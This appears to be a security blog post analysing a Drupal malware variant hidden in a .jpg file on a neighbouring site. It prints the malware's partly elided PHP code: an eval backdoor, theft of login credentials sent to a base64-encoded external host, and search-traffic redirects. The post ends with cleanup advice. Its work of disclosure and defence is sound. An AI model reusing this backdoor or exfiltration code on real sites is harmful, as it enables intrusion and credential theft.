Out-of-Site Drupal Malware

We recently wrote about a Drupal black-hat SEO hack that among other things redirected users coming from Google to botscache[.]com site. It hijacked the bootstrapping process via the session_inc variable in database, then made Drupal load a malicious file from the global /tmp directory instead of the standard includes/session.inc file.

This malware evolves and we have found its new variation. Again, the only malicious code that could be found within the site structure was just a file name. This time it was in the system table and it was the name of the file to load a Drupal module from. However, the file had a .jpg extension and it was loaded from a directory that belonged to a different website under the same server account ../otherwebsite/sites/default/files/slides/Search.jpg.

Taking a look at that Search.jpg file we can see the following code:

if(isset($_POST["gbdc"])){@'val($_POST["gbdc"])', 'add');exit;}function drupal_get_urlsc_callback_url($url) { ... return $file_contents; }if(isset($_POST['op'])&&$_POST['op']=='Log in'){ ... if(user_authenticate(@$_POST['name'],@$_POST['pass'])){ $args_result_url=base64_decode("aHR0cDovLzB4MHguY28vcC5waHA/dT0=").base64_encode(@$_POST['name']); $args_result_url.="&p=".base64_encode(@$_POST['pass'])."&url="....; drupal_get_urlsc_callback_url($args_result_url); }}if(empty($_COOKIE) && preg_match('/.google.|.aol.com|.ask.com/i',@$_SERVER["HTTP_REFERER"])) { header("location:http://botscache[.]com/n.php?".$_SERVER["HTTP_HOST"]....); exit;}if(empty($_COOKIE) && $_SERVER["REQUEST_URI"]=='/google4a4791b250e72fd1.html'){ echo 'google-site-verification: google4a4791b250e72fd1.html'; exit;}

The functionality is pretty much the same: backdoor to execute arbitrary code, botscache[.]com redirection of the search engine traffic (Air Jordan replica spam) and malicious Google Search Console verification. However, this variation also add the functionality to steal Drupal credentials. When someone submits a login form, the malicious module verifies that the credentials are valid and sends them to their own site 0x0x[.]co (the domain name is base64-encoded).

This Drupal malware demonstrates that infection is not always limited to the site itself. You may not find anything suspicious if you scan only the site directory. The actual malware may be anywhere on the server: in publicly writable directories like /tmp and /var/tmp, inside neighbor sites that share the same server account, etc. If one of your sites is hacked, don’t limit the cleanup to this site only. You should always scan all the sites you have on the same server – all the sites may be infected and some of them may have backdoors and malicious files lurking, leading to recurring infections.

This infection also reminds us about the importance of changing passwords after every site hack. It’s always a good idea to restrict access to CMS admin area. Two factor authentication and/or IP whitelist will stop hackers even if they managed to steal your credentials. You can do it on your own server or place your site behind a website firewall and have it block unwanted logins.